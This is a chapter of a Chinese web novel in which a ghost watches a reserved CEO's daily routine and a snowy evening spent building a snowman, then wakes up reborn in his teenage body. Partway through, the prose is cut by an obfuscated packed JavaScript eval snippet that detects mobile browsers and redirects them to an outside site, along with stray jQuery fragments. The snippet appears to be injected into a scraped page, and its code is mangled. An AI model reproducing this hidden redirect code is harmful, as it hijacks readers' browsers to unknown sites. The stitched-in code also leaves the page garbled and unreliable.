4. 重生

闹铃声响,喻和颂睁开眼。


卧室漆黑,窗帘缝隙间透着点微弱的光,看得出天色尚早。


视野里出现男人坐起身影,喻和颂跟着飘起。


他看着江季烔打开灯,坐在床上醒了会神,而后下床铺好被子,往浴室走去。


喻和颂跟着飘进浴室,站在江季烔身边,看江季烔刷牙。


江季烔生活作息规律,做所有事都有板有眼。


比如刷牙,标准的巴氏刷牙法。


时间精准控制在两分半,牙刷呈45°放置,水平震动拂刷。


不论早晚,从无例外。


距离喻氏那一大家子锒铛入狱,已经过去一个多月。


喻和颂本以为喻柯云被捕那天,他差不多该离开,毕竟这世上已经没有多余需要他惦念的事情。


虽然没能亲手手刃那一大家子多少令他有些遗憾,但江季烔帮他做的,已经是旁人所能做到的极致。


然而如今过去一个多月,他仍是没有一点要离开这个世界的迹象,并且和前几个月一样,始终只能停留在江季烔周身一臂以内的范围。


出神间,男人已经刷好牙,洗净脸。


喻和颂跟着他飘出去,又想,不过跟在江季烔身边的日子,倒也不算无聊。


洗漱好的男人出到客厅,做的第一件事,是拿上一张湿巾,擦拭装着喻和颂照片的相框。


男人动作细致,表情认真。


喻和颂飘在他对面,看他动作。


这是江季烔每天起床洗漱完后,做的第一件事情。


擦完相框,他才会换上运动服出门跑步。


绕河道一圈,结束后在自助贩卖机上买一瓶常温的矿泉水,边喝边慢步回家。


回到家,洗过澡,时间基本在八点左右。


这时候江季烔会进厨房,给自己做一份简单的早餐。


见江季烔打开冰箱,喻和颂飘到他身侧,开始挑选起早餐。


冰箱里规规整整摆放着不少新鲜食材,都是江季烔昨天下班后买的。


视线逡巡一圈,喻和颂开口:“今天吃滑蛋火腿三明治吧。”


下一秒,就见男人从冰箱里拿出土司、鸡蛋、火腿。


喻和颂眉梢轻挑,心情不错地跟着拿好食材的男人飘到料理台前。


江季烔打开装土司的袋子,拿出两片土司,装进烤面包机。


设置好烘烤时间,他从抽屉里拿出碗,将鸡蛋打入碗中,用筷子搅拌。


热锅倒油,蛋液滑入锅中。


男人熟稔翻炒,嫩滑的鸡蛋逐渐成型。


喻和颂开口:“加点糖会更好吃。”


江季烔今天依旧没加糖,只撒了盐和黑胡椒。


翻炒好鸡蛋,土司正好烤完。


江季烔切下两片火腿简单加热,一份滑蛋火腿三明治顺利完成,用时三分半。


吃过早餐,男人拿上车钥匙,驱车前往公司。


江季烔居住的高档小区离江氏集团本部很近,驾车十分钟左右,俨然是专门买的房子。


临近年边,小区、道路、街边商铺全都挂上了年味的装扮,红火得热闹。


车驶入地下停车场,坐直达电梯上到总裁办,江季烔收到母亲发来的消息。


问他今年什么时候回家过年。


江季烔回过去两个字。


【除夕】


没等收起手机,对面的人已经发来讨价还价。


【小年】


【二十八】


【二十五!】


喻和颂看着母子二人的来回拉扯,很轻笑了声。


最终各退一步,定在了腊月二十七。


江季烔到公司先开了一小时晨会,而后回到办公室,开始看仅一个早上就已经堆积有半臂高的文件。


喻和颂飘在他身侧,指点江山。


“水到家的企划案,你们公司营销总监是关系户吗?”


江季烔拧眉,在文件封页上印上【不合格】,将文件放到了左手边。


“想法可以,可落地性太差。”


【不合格】


“这家公司的法人身上还背着经济案,不做背调的吗?”


【不合格】


“这份合同可以,但成交价应该还能再往下谈0.5个百分点。”


【待二次评估】,放右手边。


看完所有文件,已经是中午十二点。


私厨餐厅的午饭正好送到,江季烔用过午餐,休息了十几分钟,进休息室午睡。


午睡到下午一点半准时醒来,下午有一场线上会议和一场需要外出的线下会议。


结束一整天行程,天已经黑了。


A市不知什么时候飘起了雪。


这不是A市今年的第一场雪,却是A市今年第一场鹅毛大雪。


一人一鬼走出酒店时,地上已经积起了厚厚一层。


喻和颂跟着江季烔飘上车,侧着身趴在窗边看道路两旁还在积厚的雪。


A市地处偏南,冬日里鲜少下雪。


这样的鹅毛大雪,更是少见。


喻和颂记得A市上一次下这样大的雪,还是二十多年前。


是个除夕夜,他母亲还在世,那年的除夕他们一家在外公外婆家度过。


轿车不知什么时候开进了小区。


今天雪大,江季烔将车停在了地下车库。


电梯直达高层,喻和颂跟着江季烔飘进屋。


看着江季烔在玄关换好鞋,喻和颂以为他会和往常一样径直进厨房,不想江季烔竟走进了衣帽间。


男人走到衣帽间深处,在一扇喻和颂没见他打开过的柜门前停下。


柜门打开,喻和颂发现柜子里空荡荡的。


偌大的衣柜,只装着一条折叠整齐的围巾。


围巾被从衣柜中拿出,进到灯光下。


喻和颂发现是条儿童围巾,红白格样式。


围巾看着很旧,应该已经有些年头,但被保存得很好,不见一点破损和脏污。


江季烔拿着围巾,关上柜门,转身出了衣帽间。


他拿着围巾出了门,一路坐电梯下楼,走出楼房。


雪还在下,甚至有越下越大的趋势。


难得的一场大雪,小区里到处是奔跑玩耍的孩童。


喻和颂有些好奇看混在其中格外突出的冷漠男人,想不到他这副架势打算去做些什么。


江季烔拿着围巾在小区里转了一圈,雪落满男人发间与肩头。


最终,他挑了处位于小区楼房后无人的僻静角落,将围巾放进怀里,蹲下开始……堆雪人???


喻和颂飘在江季烔对面半晌,眼见着江季烔已经滚出了一个圆球,他才勉强消化下眼前景象。


他慢悠悠飘到男人身边,盯着男人看。


江季烔表情认真,态度严谨。


如果单独只看面部,他可以是在批文件、可以是在做决策、甚至可以是在搞科研,唯独不像在滚雪球。


偏偏他就是在滚雪球。


喻和颂接受得很快,他不再琢磨为什么江季烔会忽然下楼滚起雪球,飘在江季烔身侧,开始口头协助。


“左上角,雪有点多了。”


江季烔抬手削掉了雪球右上角的雪。


……


“肚子部分有点太鼓了。”


江季烔抓起一把雪,又往雪人肚子部分再填了填。


…………


“脑袋有点大了。”


江季烔把刚制作完成的雪人脑袋放回雪地里,又滚了一圈。


………………


喻和颂一屁股坐进雪地里,发表终评。


“没默契。”


江季烔抱起滚大一圈的雪人脑袋,来回看了两眼,又抬手削削。


发现降至冰点的默契度似乎还有救,喻和颂飘起来,继续单方面协助。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529238|170802||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


耗时一个小时,口头忙碌的喻师傅与手头忙碌的江师傅终于一起完成了堆雪人大业。


江季烔找来两片树叶,撕成圆形充当雪人的眼睛,又找来一根树枝,充当雪人的鼻子。


完成后,他坐进雪地里,静静注视着圆头圆脑的雪人。


注视许久后,他拿出怀中围巾,围在了雪人脖颈间。


大小竟刚好合适。


喻和颂打量着雪地里围红围巾的雪人。


左边脑袋凸,右边脑袋凹,肚子圆鼓鼓,脑袋大小快赶身体。


丑得出奇。


他冷不丁笑了声,侧过脸看身侧男人,发现江季烔竟然也在笑。


很浅的一点笑容,柔和了他那双看人总冷漠黑沉的眸。


喻和颂忽然发现,这似乎是他第一次见江季烔笑。


生前连同死后,唯一一次。


罕见的笑散得也快,男人注视着雪人,黑眸一点点沉下。


像霜雪落进了那双本就冷清的眸里。


皑皑大雪还在落,落了穿着大衣的男人满身,却始终落不到他身侧穿着单薄风衣的人身上。


在雪地里坐到周身积起了雪,江季烔才起身,拿走了那条带下来的红白格围巾,回了家。


经过这一段插曲,江季烔吃完饭洗完澡,已经是夜里十点。


他今晚没有再处理工作,早早躺上了床。


卧室窗帘敞着。


窗外大雪积了半扇窗户,结了半扇窗霜。


霜雪模糊窗外霓虹,将世界笼罩进寒凉与寂静之中。


喻和颂在江季烔身侧躺着,双手枕在脑后,看着大雪一点点将窗沿填满。


忽然他开口。


“江季烔。”


没有回应,也不可能有回应。


喻和颂兀自往下说。


“如果活着,这样的生活,还挺不赖的。”


风轻扣玻璃窗,卷走窗上霜雪。


喻和颂侧过脸,看了眼身侧男人,发现江季烔已经不知什么时候合了眼。


他收回视线,重新望向玻璃窗外在霜雪被卷走后,恢复明朗的霓虹。


望得久了,也缓缓合了眼。


·


敲门声响时,喻和颂只觉头沉得厉害。


费了很大的劲,才勉强撑开眼皮。


入目一片漆黑。


窗外响着滴滴答答的雨声,空气中尽是寒凉潮意。


他从床上撑坐起,发现身体有些无力。


一种难言的怪异感在心头漫开。


随着大脑逐渐清醒,喻和颂精准捕捉到怪异的源头。


头沉、身体无力、手能结结实实地撑在床上……


这些都不是鬼魂状态下能够具有的感受。


喻和颂思绪正纷乱间,忽地再次听见敲门声。


敲门声响过,一道温柔的女声在门外响起。


“小颂,还在睡吗?”


是卢善影的声音。


但是比记忆中要年轻许多。


一切虚幻得恍若梦境,可胀痛的脑袋又叫嚣着眼下的真实。


喻和颂在黑暗中抬手摸索。


摸索到开关,他用力按下。


眼前骤亮。


适应了片刻眼前光亮,喻和颂逐渐看清四周。


他正处在他再熟悉不过的环境里——他住了二十多年的卧室。


只是屋内摆设,却与记忆中大相径庭。


床尾的书柜,他记得他大学毕业后就找人搬出了房间,将书柜后原本的空间改装成了壁挂式书架。


窗前的书桌,他高中毕业后就被喻麒明换成了多功能办公桌。


不止这些,还有床单被罩、窗帘地毯、衣架、窗前绿植,一切都与记忆中截然不同。


喻和颂压着强烈的晕眩感掀开被子迈下床,视线在扫到门边穿衣镜的瞬间,骤然停住。


穿衣镜中映出的,分明是少年身影。